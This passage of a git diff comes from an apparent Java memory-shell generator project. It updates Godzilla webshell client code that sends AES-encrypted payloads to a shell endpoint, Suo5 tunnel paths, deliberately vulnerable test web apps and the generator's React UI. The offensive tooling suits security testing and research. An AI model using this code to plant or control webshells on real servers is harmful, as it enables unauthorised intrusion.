java.nio.charset.Charset; -import java.util.Objects; /** * @author ReaJason diff --git a/packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java index 11b0a759..da64603d 100644 --- a/packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java +++ b/packer/src/test/java/com/reajason/javaweb/packer/h2/H2JSPackerTest.java @@ -3,8 +3,6 @@ import com.reajason.javaweb.packer.ClassPackerConfig; import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.*; - /** * @author ReaJason * @since 2025/6/28 diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java index 2be8fb23..0a5e6a8c 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java @@ -2,11 +2,11 @@ import lombok.SneakyThrows; import org.java_websocket.client.WebSocketClient; -import org.java_websocket.framing.CloseFrame; import org.java_websocket.handshake.ServerHandshake; import java.net.URI; import java.nio.ByteBuffer; +import java.util.Map; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicReference; @@ -23,6 +23,10 @@ public BlockingJavaWebSocketClient(URI serverUri) { super(serverUri); } + public BlockingJavaWebSocketClient(URI serverUri, Map httpHeaders) { + super(serverUri, httpHeaders); + } + @Override public void onOpen(ServerHandshake handshake) { System.out.println("连接成功"); @@ -121,12 +125,25 @@ public static String sendRequestWaitResponse(String entrypoint, String message) return blockingJavaWebSocketClient.sendRequest(message); } + @SneakyThrows + public static String sendRequestWaitResponseWithHeader(String entrypoint, String message, String headerName, String headerValue) { + BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint)); + blockingJavaWebSocketClient.addHeader(headerName, headerValue); + return blockingJavaWebSocketClient.sendRequest(message); + } + @SneakyThrows public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message) { BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint)); return blockingJavaWebSocketClient.sendRequest(message); } + @SneakyThrows + public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message, Map httpHeaders) { + BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint), httpHeaders); + return blockingJavaWebSocketClient.sendRequest(message); + } + public static void main(String[] args) { String uri = "ws://localhost:8082/app/fuck"; System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id")); diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index f84b2cc5..38a2ce95 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -178,6 +178,7 @@ private Response post(byte[] bytes) throws IOException { return client.newCall(builder.build()).execute(); } + @SneakyThrows public boolean start() { byte[] bytes = generateGodzilla(); if (isHttp()) { @@ -190,19 +191,12 @@ public boolean start() { return true; } System.out.println(response.body().string().trim()); - } catch (IOException e) { - e.printStackTrace(); } } if (isWs()) { - try { - byte[] aes = aes(this.key, bytes, true); - String base64String = Base64.encodeBase64String(aes); - BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); - return true; - } catch (Exception e) { - e.printStackTrace(); - } + byte[] aes = aes(this.key, bytes, true); + BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers); + return true; } return false; } @@ -214,11 +208,9 @@ public boolean test() { try (Response response = post(bytes)) { if (response.isSuccessful()) { ResponseBody body = response.body(); - if (body != null) { - String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); - System.out.println(resultFromRes); - return "ok".equals(resultFromRes); - } + String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); + System.out.println(resultFromRes); + return "ok".equals(resultFromRes); } return false; } catch (IOException e) { @@ -229,10 +221,9 @@ public boolean test() { if (isWs()) { byte[] aes = aes(this.key, bytes, true); - String base64String = Base64.encodeBase64String(aes); - String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String); - if(StringUtils.isNoneBlank(response)){ - byte[] x = aes(key, Base64.decodeBase64(response), false); + byte[] response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(aes), headers); + if (response != null) { + byte[] x = aes(key, response, false); GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8)); } diff --git a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java index 0f354140..bca8e6ce 100644 --- a/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java +++ b/tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java @@ -19,9 +19,9 @@ import java.nio.file.attribute.FileTime; import java.sql.*; import java.text.SimpleDateFormat; +import java.util.*; import java.util.Date; import java.util.List; -import java.util.*; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; diff --git a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java index bf9de578..cd676139 100644 --- a/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java +++ b/tools/suo5/src/main/java/com/reajason/javaweb/suo5/Suo5Manager.java @@ -27,8 +27,8 @@ public class Suo5Manager { if (!pwd.endsWith("MemShellParty")) { pwd = pwd.getParent(); } - suo5Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5-" + osType + "-" + osArch)).toAbsolutePath().toString(); - suo5v2Command = pwd.resolve(Paths.get("asserts", "suo5", "suo5v2-" + osType + "-" + osArch)).toAbsolutePath().toString(); + suo5Command = pwd.resolve(Paths.get("assets", "suo5", "suo5-" + osType + "-" + osArch)).toAbsolutePath().toString(); + suo5v2Command = pwd.resolve(Paths.get("assets", "suo5", "suo5v2-" + osType + "-" + osArch)).toAbsolutePath().toString(); } public static void main(String[] args) { diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java index b7292fa7..f293aa3c 100644 --- a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java @@ -1,12 +1,7 @@ package com.reajason.javaweb.vul.springboot2; -import com.fasterxml.jackson.annotation.JsonAutoDetect; -import com.fasterxml.jackson.annotation.PropertyAccessor; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.SerializationFeature; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.context.annotation.Bean; @SpringBootApplication public class VulSpringboot2Application { diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java index 71ecde4b..c3191138 100644 --- a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java @@ -4,13 +4,6 @@ import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; -import java.lang.reflect.Array; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; - /** * @author ReaJason * @since 2024/12/22 diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java index b7292fa7..f293aa3c 100644 --- a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java @@ -1,12 +1,7 @@ package com.reajason.javaweb.vul.springboot2; -import com.fasterxml.jackson.annotation.JsonAutoDetect; -import com.fasterxml.jackson.annotation.PropertyAccessor; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.SerializationFeature; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.context.annotation.Bean; @SpringBootApplication public class VulSpringboot2Application { diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java index 71ecde4b..c3191138 100644 --- a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java @@ -4,13 +4,6 @@ import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; -import java.lang.reflect.Array; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; - /** * @author ReaJason * @since 2024/12/22 diff --git a/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/TestWebFilter.java b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/TestWebFilter.java new file mode 100644 index 00000000..acdf7ece --- /dev/null +++ b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/TestWebFilter.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.stereotype.Component; +import org.springframework.web.server.ServerWebExchange; +import org.springframework.web.server.WebFilter; +import org.springframework.web.server.WebFilterChain; +import reactor.core.publisher.Mono; + +/** + * @author ReaJason + * @since 2025/10/20 + */ +@Component +public class TestWebFilter implements WebFilter { + @Override + public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { + return chain.filter(exchange); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java index b7292fa7..f293aa3c 100644 --- a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java @@ -1,12 +1,7 @@ package com.reajason.javaweb.vul.springboot2; -import com.fasterxml.jackson.annotation.JsonAutoDetect; -import com.fasterxml.jackson.annotation.PropertyAccessor; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.SerializationFeature; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.context.annotation.Bean; @SpringBootApplication public class VulSpringboot2Application { diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java index 41c87167..7d27a8ff 100644 --- a/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java @@ -1,13 +1,5 @@ -import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; -import javax.servlet.http.HttpServlet; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.ObjectInputStream; import java.util.Arrays; -import java.util.Collections; import java.util.List; /** diff --git a/vul/vul-webapp-expression/src/test/java/JXPathServletTest.java b/vul/vul-webapp-expression/src/test/java/JXPathServletTest.java index 71ad1e93..c5e3b418 100644 --- a/vul/vul-webapp-expression/src/test/java/JXPathServletTest.java +++ b/vul/vul-webapp-expression/src/test/java/JXPathServletTest.java @@ -1,8 +1,6 @@ import org.apache.commons.jxpath.JXPathContext; import org.junit.jupiter.api.Test; -import static org.junit.jupiter.api.Assertions.*; - /** * @author ReaJason * @since 2025/9/3 diff --git a/vul/vul-webapp/build.gradle.kts b/vul/vul-webapp/build.gradle.kts index 0a6260b8..9e595985 100644 --- a/vul/vul-webapp/build.gradle.kts +++ b/vul/vul-webapp/build.gradle.kts @@ -13,6 +13,7 @@ java { dependencies { implementation("commons-fileupload:commons-fileupload:1.3.3") implementation("commons-beanutils:commons-beanutils:1.9.2") + implementation("javax.websocket:javax.websocket-api:1.1") providedCompile("javax.servlet:servlet-api:2.5") } diff --git a/vul/vul-webapp/src/main/java/EmptyFilter.java b/vul/vul-webapp/src/main/java/EmptyFilter.java new file mode 100644 index 00000000..961aa5f2 --- /dev/null +++ b/vul/vul-webapp/src/main/java/EmptyFilter.java @@ -0,0 +1,19 @@ +import javax.servlet.*; +import java.io.IOException; + +public class EmptyFilter implements Filter { + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + filterChain.doFilter(servletRequest, servletResponse); + } + + @Override + public void destroy() { + + } +} diff --git a/vul/vul-webapp/src/main/java/EmptyListener.java b/vul/vul-webapp/src/main/java/EmptyListener.java new file mode 100644 index 00000000..85c35384 --- /dev/null +++ b/vul/vul-webapp/src/main/java/EmptyListener.java @@ -0,0 +1,15 @@ +import javax.servlet.ServletRequest; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; + +public class EmptyListener implements ServletRequestListener { + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + ServletRequest servletRequest = servletRequestEvent.getServletRequest(); + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + ServletRequest servletRequest = servletRequestEvent.getServletRequest(); + } +} diff --git a/vul/vul-webapp/src/main/java/EmptyWebSocketEndpoint.java b/vul/vul-webapp/src/main/java/EmptyWebSocketEndpoint.java new file mode 100644 index 00000000..f8b8c1b9 --- /dev/null +++ b/vul/vul-webapp/src/main/java/EmptyWebSocketEndpoint.java @@ -0,0 +1,24 @@ +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.IOException; + +public class EmptyWebSocketEndpoint extends Endpoint implements MessageHandler.Whole { + private Session session; + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onMessage(String message) { + try { + session.getBasicRemote().sendText("Echo: " + message); + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/vul/vul-webapp/src/main/java/UploadServlet.java b/vul/vul-webapp/src/main/java/UploadServlet.java index cc5e0d98..9168a1bf 100644 --- a/vul/vul-webapp/src/main/java/UploadServlet.java +++ b/vul/vul-webapp/src/main/java/UploadServlet.java @@ -36,6 +36,10 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response) if (!item.isFormField()) { String fileName = new File(item.getName()).getName(); String uploadFolder = getServletContext().getRealPath(UPLOAD_DIRECTORY); + if (uploadFolder == null) { + // weblogic + uploadFolder = ((File) getServletContext().getAttribute("javax.servlet.context.tempdir")).getParent() + File.separator + "war"; + } if (!uploadFolder.endsWith(File.separator)) { uploadFolder += File.separator; } diff --git a/vul/vul-webapp/src/main/java/WebSocketConfig.java b/vul/vul-webapp/src/main/java/WebSocketConfig.java new file mode 100644 index 00000000..b95a6aae --- /dev/null +++ b/vul/vul-webapp/src/main/java/WebSocketConfig.java @@ -0,0 +1,24 @@ +import javax.websocket.Endpoint; +import javax.websocket.server.ServerApplicationConfig; +import javax.websocket.server.ServerEndpointConfig; +import java.util.HashSet; +import java.util.Set; + +public class WebSocketConfig implements ServerApplicationConfig { + @Override + public Set getEndpointConfigs(Set> scannedEndpointClasses) { + Set result = new HashSet(); + ServerEndpointConfig config = ServerEndpointConfig.Builder + .create(EmptyWebSocketEndpoint.class, "/empty-ws") + .build(); + + result.add(config); + System.out.println("websocket init success"); + return result; + } + + @Override + public Set> getAnnotatedEndpointClasses(Set> scanned) { + return scanned; + } +} \ No newline at end of file diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml index 4ba9f2c6..76390808 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -102,4 +102,16 @@ servletNameTestFilter biginteger + + + EmptyListener + + + emptyFilter + EmptyFilter + + + emptyFilter + /* + \ No newline at end of file diff --git a/web/app/components/copyable-field.tsx b/web/app/components/copyable-field.tsx index 4261b344..ac67b883 100644 --- a/web/app/components/copyable-field.tsx +++ b/web/app/components/copyable-field.tsx @@ -1,21 +1,29 @@ import { Check, Copy } from "lucide-react"; -import { useCallback, useEffect, useState } from "react"; +import { + type ComponentPropsWithoutRef, + useCallback, + useEffect, + useState, +} from "react"; import CopyToClipboard from "react-copy-to-clipboard"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; import { Button } from "@/components/ui/button"; import { Label } from "@/components/ui/label"; +import { cn } from "@/lib/utils"; -interface CopyableFieldProps { +type CopyableFieldProps = { label: string; value?: string; text?: string; -} +} & Omit, "children">; export function CopyableField({ label, value, text, + className, + ...divProps }: Readonly) { const [hasCopied, setHasCopied] = useState(false); const { t } = useTranslation(["common"]); @@ -39,7 +47,7 @@ export function CopyableField({ }, [hasCopied, label, t]); return ( -
+
{value && ( diff --git a/web/app/components/memshell/jreversion-field.tsx b/web/app/components/memshell/jreversion-field.tsx new file mode 100644 index 00000000..dc875777 --- /dev/null +++ b/web/app/components/memshell/jreversion-field.tsx @@ -0,0 +1,76 @@ +import { Controller, type UseFormReturn } from "react-hook-form"; +import { useTranslation } from "react-i18next"; +import { + Field, + FieldContent, + FieldError, + FieldLabel, +} from "@/components/ui/field"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import type { MemShellFormSchema } from "@/types/schema"; + +const JDKVersion = [ + { name: "Java6", value: "50" }, + { name: "Java8", value: "52" }, + { name: "Java9", value: "53" }, + { name: "Java11", value: "55" }, + { name: "Java17", value: "61" }, + { name: "Java21", value: "65" }, +]; + +export function JREVersionFormField({ + form, +}: Readonly<{ + form: UseFormReturn; +}>) { + const { t } = useTranslation(["common"]); + return ( + ( + + + + {t("common:targetJdkVersion")} + + + {fieldState.error && } + + + )} + /> + ); +} diff --git a/web/app/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx index fbeda2d0..0299c260 100644 --- a/web/app/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -1,16 +1,5 @@ -import { - ArrowUpRightIcon, - AxeIcon, - CommandIcon, - InfoIcon, - NetworkIcon, - ServerIcon, - ShieldOffIcon, - SwordIcon, - WaypointsIcon, - ZapIcon, -} from "lucide-react"; -import { type JSX, useCallback, useRef, useState } from "react"; +import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react"; +import { useCallback, useEffect, useMemo } from "react"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab"; @@ -25,7 +14,6 @@ import { Field, FieldContent, FieldDescription, - FieldError, FieldLabel, } from "@/components/ui/field"; import { Label } from "@/components/ui/label"; @@ -50,24 +38,9 @@ import { } from "@/types/memshell"; import type { MemShellFormSchema } from "@/types/schema"; import { Spinner } from "../ui/spinner"; - -const shellToolIcons: Record = { - [ShellToolType.Behinder]: , - [ShellToolType.Godzilla]: , - [ShellToolType.Command]: , - [ShellToolType.AntSword]: , - [ShellToolType.Suo5]: , - [ShellToolType.Suo5v2]: , - [ShellToolType.NeoreGeorg]: , - [ShellToolType.Custom]: , -}; - -const defaultServerVersionOptions = [ - { - name: "Unknown", - value: "Unknown", - }, -]; +import { JREVersionFormField } from "./jreversion-field"; +import { ServerVersionFormField } from "./serverversion-field"; +import { ProxyTabContent } from "./tabs/proxy-tab"; export default function MainConfigCard({ mainConfig, @@ -80,83 +53,108 @@ export default function MainConfigCard({ }>) { const { t } = useTranslation(["common", "memshell"]); - const [shellToolMap, setShellToolMap] = useState<{ - [toolName: string]: string[]; - }>(); - const [shellTools, setShellTools] = useState([]); - const [shellTypes, setShellTypes] = useState([]); - const [serverVersionOptions, setServerVersionOptions] = useState( - defaultServerVersionOptions, - ); + const server = useWatch({ + control: form.control, + name: "server", + }); const shellTool = useWatch({ control: form.control, name: "shellTool", }); - const handleServerChange = useCallback( - (value: string) => { - if (mainConfig) { - const newShellToolMap = mainConfig[value]; - setShellToolMap(newShellToolMap); + const serverToolMap = useMemo(() => { + if (!mainConfig || !server) { + return undefined; + } + return mainConfig[server]; + }, [mainConfig, server]); - const newShellTools = Object.keys(newShellToolMap); - setShellTools([ - ...newShellTools.map((tool) => tool as ShellToolType), - ShellToolType.Custom, - ]); + const serverOptions = useMemo(() => Object.keys(servers ?? {}), [servers]); - const currentShellTool = form.getValues("shellTool"); + const shellTools = useMemo(() => { + if (!serverToolMap) { + return []; + } + const tools = Object.keys(serverToolMap).map( + (tool) => tool as ShellToolType, + ); + return Array.from(new Set([...tools, ShellToolType.Custom])); + }, [serverToolMap]); - const firstTool = newShellTools[0]; - let currentShellTypes = null; + const customShellTypes = useMemo(() => { + if (!server) { + return []; + } + return servers?.[server] ?? []; + }, [server, servers]); - if (!newShellToolMap[currentShellTool]) { - form.setValue("shellTool", firstTool); - currentShellTypes = newShellToolMap[firstTool]; - } else { - currentShellTypes = newShellToolMap[currentShellTool]; - } - setShellTypes(currentShellTypes); + const shellTypes = useMemo(() => { + if (!serverToolMap || !server) { + return []; + } + if (shellTool === ShellToolType.Custom) { + return customShellTypes; + } + return serverToolMap[shellTool] ?? []; + }, [customShellTypes, server, serverToolMap, shellTool]); - if (currentShellTypes && currentShellTypes.length > 0) { - form.setValue("shellType", currentShellTypes[0]); - } + useEffect(() => { + if (!mainConfig || !server) { + return; + } + const toolMap = mainConfig[server]; + if (!toolMap) { + return; + } + const toolKeys = Object.keys(toolMap); + if (toolKeys.length === 0) { + return; + } - if ( - (value === "SpringWebFlux" || value === "XXLJOB") && - Number.parseInt(form.getValues("targetJdkVersion") as string, 10) < 52 - ) { - form.setValue("targetJdkVersion", "52"); - } else { - form.setValue("targetJdkVersion", "50"); - } + const currentShellTool = form.getValues("shellTool") as ShellToolType; + const nextShellTool = toolMap[currentShellTool] + ? currentShellTool + : (toolKeys[0] as ShellToolType); - if (value === "TongWeb") { - setServerVersionOptions([ - ...defaultServerVersionOptions, - { name: "6", value: "6" }, - { name: "7", value: "7" }, - { name: "8", value: "8" }, - ]); - } else if (value === "Jetty") { - setServerVersionOptions([ - ...defaultServerVersionOptions, - { name: "6", value: "6" }, - { name: "7+", value: "7+" }, - { name: "12", value: "12" }, - ]); - } else { - setServerVersionOptions(defaultServerVersionOptions); - } + if (nextShellTool !== currentShellTool) { + form.setValue("shellTool", nextShellTool); + } - form.resetField("serverVersion"); - form.resetField("byPassJavaModule"); - form.resetField("urlPattern"); + if (nextShellTool !== ShellToolType.Custom) { + const nextShellTypes = toolMap[nextShellTool] ?? []; + if (nextShellTypes.length > 0) { + const currentShellType = form.getValues("shellType"); + if (currentShellType !== nextShellTypes[0]) { + form.setValue("shellType", nextShellTypes[0]); + } } - }, - [form, mainConfig], - ); + } + + const currentTargetJdk = form.getValues("targetJdkVersion") as string; + const currentJdkVersion = Number.parseInt(currentTargetJdk, 10); + const shouldRaiseJdkVersion = + (server === "SpringWebFlux" || server === "XXLJOB") && + currentJdkVersion < 52; + const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50"; + if (currentTargetJdk !== nextJdkVersion) { + form.setValue("targetJdkVersion", nextJdkVersion); + } + + form.resetField("serverVersion"); + form.resetField("byPassJavaModule"); + form.resetField("urlPattern"); + }, [form, mainConfig, server]); + + useEffect(() => { + if (shellTool !== ShellToolType.Custom || customShellTypes.length === 0) { + return; + } + const currentShellType = form.getValues("shellType"); + if (currentShellType !== customShellTypes[0]) { + form.setValue("shellType", customShellTypes[0]); + } + }, [customShellTypes, form, shellTool]); const handleShellToolChange = useCallback( (value: string) => { @@ -199,16 +197,15 @@ export default function MainConfigCard({ form.resetField("shellClassBase64"); }; - if (shellToolMap) { + if (serverToolMap) { let currentShellTypes = null; if (value === ShellToolType.Custom) { - currentShellTypes = servers?.[form.getValues("server")] as string[]; + currentShellTypes = customShellTypes; } else { - currentShellTypes = shellToolMap[value]; + currentShellTypes = serverToolMap[value]; } - setShellTypes(currentShellTypes); - // 直接设置 shellType 而不是依赖 useEffect + // Set shellType directly instead of relying on useEffect. if (currentShellTypes && currentShellTypes.length > 0) { form.setValue("shellType", currentShellTypes[0]); } @@ -234,18 +231,9 @@ export default function MainConfigCard({ } form.setValue("shellTool", value); }, - [form, servers, shellToolMap], + [customShellTypes, form, serverToolMap], ); - const initializedRef = useRef(false); - if (!initializedRef.current && mainConfig) { - const initialServer = form.getValues("server"); - if (initialServer && mainConfig[initialServer]) { - handleServerChange(initialServer); - initializedRef.current = true; - } - } - return ( <> @@ -276,10 +264,7 @@ export default function MainConfigCard({ {t("common:server")} @@ -313,47 +299,9 @@ export default function MainConfigCard({ )} /> - ( - - - - {t("common:serverVersion")} - - - {fieldState.error && ( - - )} - - - )} - /> +
-
+
{shellTools.map((tool) => ( - - {shellToolIcons[tool]} - {tool} - + {tool} ))} @@ -389,6 +334,7 @@ export default function MainConfigCard({ )} /> +
+ )} diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 09661c2d..09d11476 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -1,8 +1,9 @@ import { FileTextIcon } from "lucide-react"; +import { Fragment } from "react/jsx-runtime"; import { useTranslation } from "react-i18next"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Separator } from "@/components/ui/separator"; -import { shouldHidden } from "@/lib/utils"; +import { notNeedUrlPattern } from "@/lib/utils"; import { type AntSwordShellToolConfig, type BehinderShellToolConfig, @@ -10,6 +11,7 @@ import { type GodzillaShellToolConfig, type MemShellResult, type NeoreGeorgShellToolConfig, + type ProxyShellToolConfig, ShellToolType, type Suo5ShellToolConfig, } from "@/types/memshell"; @@ -45,13 +47,12 @@ export function BasicInfo({ label={t("mainConfig.shellMountType")} text={generateResult?.shellConfig.shellType} /> - {!shouldHidden(generateResult?.shellConfig?.shellType) && ( - - )} +
{generateResult?.shellConfig.shellTool !== ShellToolType.Custom && ( @@ -111,7 +112,11 @@ export function BasicInfo({ /> )} {generateResult?.shellConfig.shellTool === ShellToolType.Command && ( - + + )} {(generateResult?.shellConfig.shellTool === ShellToolType.Suo5 || generateResult?.shellConfig.shellTool === ShellToolType.Suo5v2) && ( @@ -141,6 +164,13 @@ export function BasicInfo({ value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`} /> )} + {generateResult?.shellConfig.shellTool === ShellToolType.Proxy && ( + + )} {generateResult?.shellConfig.shellTool === ShellToolType.AntSword && ( <> - + diff --git a/web/app/components/memshell/results/multi-packer.tsx b/web/app/components/memshell/results/multi-packer.tsx index 8dbb2091..250618c5 100644 --- a/web/app/components/memshell/results/multi-packer.tsx +++ b/web/app/components/memshell/results/multi-packer.tsx @@ -1,5 +1,5 @@ import { DownloadIcon } from "lucide-react"; -import { useEffect, useState } from "react"; +import { useCallback, useEffect, useMemo, useState } from "react"; import { useTranslation } from "react-i18next"; import CodeViewer from "@/components/code-viewer"; import { Button } from "@/components/ui/button"; @@ -25,30 +25,36 @@ export function MultiPackResult({ }>) { const showCode = packMethod === "JSP"; const { t } = useTranslation(); - const packMethods = Object.keys(allPackResults ?? {}); + const packResults = allPackResults as Record | undefined; + const packMethods = useMemo( + () => Object.keys(packResults ?? {}), + [packResults], + ); - const [selectedMethod, setSelectedMethod] = useState(packMethods[0]); - const [packResult, setPackResult] = useState( - allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "", + const [selectedMethod, setSelectedMethod] = useState( + () => packMethods[0] ?? "", ); + const packResult = useMemo(() => { + if (!selectedMethod) { + return ""; + } + return packResults?.[selectedMethod] ?? ""; + }, [packResults, selectedMethod]); + useEffect(() => { - const newPackMethods = Object.keys(allPackResults ?? {}); - if (!newPackMethods.includes(selectedMethod)) { - const newSelectedMethod = newPackMethods[0]; - setSelectedMethod(newSelectedMethod); - setPackResult( - allPackResults?.[newSelectedMethod as keyof typeof allPackResults] ?? - "", - ); - } else { - setPackResult( - allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "", - ); + if (packMethods.length === 0) { + if 